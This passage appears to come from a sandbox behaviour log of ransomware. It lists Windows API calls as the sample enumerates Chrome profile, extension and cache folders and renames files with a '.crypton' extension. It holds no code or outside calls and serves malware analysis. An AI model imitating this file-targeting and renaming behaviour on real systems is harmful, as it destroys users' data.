HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835c4fd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1a9da00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1a9da00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0195.141] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835cec10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1ac3b60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1ac3b60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0195.146] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835daf60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1ac3b60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1ac3b60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0195.152] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835dd670, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1ae9cc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1ae9cc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0195.156] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ta\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835e4ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1ae9cc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1ae9cc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0195.162] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\te\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835ec0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1ae9cc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1ae9cc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0195.175] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\th\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835f5d10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1ae9cc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1ae9cc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0195.189] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\tr\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835fd240, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1b35f80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1b35f80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0195.196] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\uk\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8360bca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1b35f80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1b35f80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0195.202] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x836158e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1b5c0e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1b5c0e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0195.209] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8361ce10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1b5c0e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1b5c0e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0195.215] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_TW\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83624340, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1b82240, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1b82240, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0195.220] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\*", lpFindFileData=0x4a6688 | out: lpFindFileData=0x4a6688*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x836ddc00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1b82240, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1b82240, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x5499d0 [0195.225] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x96ec4eb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1b82240, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1b82240, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549910 [0195.225] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\A058.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\jumplisticons\\a058.tmp"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\A058.tmp.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\jumplisticons\\a058.tmp.crypton"), dwFlags=0x2) returned 1 [0195.227] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\A059.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\jumplisticons\\a059.tmp"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\A059.tmp.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\jumplisticons\\a059.tmp.crypton"), dwFlags=0x2) returned 1 [0195.233] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85096390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1ba83a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1ba83a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549910 [0195.234] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\2B03.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\jumplisticonsold\\2b03.tmp"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\2B03.tmp.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\jumplisticonsold\\2b03.tmp.crypton"), dwFlags=0x2) returned 1 [0195.235] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\2B04.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\jumplisticonsold\\2b04.tmp"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\2B04.tmp.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\jumplisticonsold\\2b04.tmp.crypton"), dwFlags=0x2) returned 1 [0195.241] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8642cdf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1ba83a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1ba83a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549910 [0195.246] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\*", lpFindFileData=0x4a79d8 | out: lpFindFileData=0x4a79d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8642cdf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1bce500, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1bce500, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549950 [0195.247] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log.crypton"), dwFlags=0x2) returned 1 [0195.252] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83ede170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1bce500, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1bce500, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549910 [0195.258] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84251e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1bce500, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1bce500, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549910 [0195.263] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\*", lpFindFileData=0x4a79d8 | out: lpFindFileData=0x4a79d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84251e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1bf4660, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1bf4660, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549950 [0195.264] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\000003.log.crypton"), dwFlags=0x2) returned 1 [0195.270] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x868593b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1bf4660, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1bf4660, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549910 [0195.276] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\*", lpFindFileData=0x4a79d8 | out: lpFindFileData=0x4a79d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x868593b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1bf4660, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1bf4660, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549950 [0195.283] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1c1a7c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1c1a7c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0195.287] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1c1a7c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1c1a7c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0195.295] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1c40920, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1c40920, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0195.299] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1c40920, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1c40920, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0195.304] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e47510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1c40920, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1c40920, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0195.310] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1c66a80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1c66a80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0195.315] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1c66a80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1c66a80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0195.320] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1c66a80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1c66a80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0195.325] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\CrashReports\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf1c8cbe0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf1c8cbe0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549850 [0195.331] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\History\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, 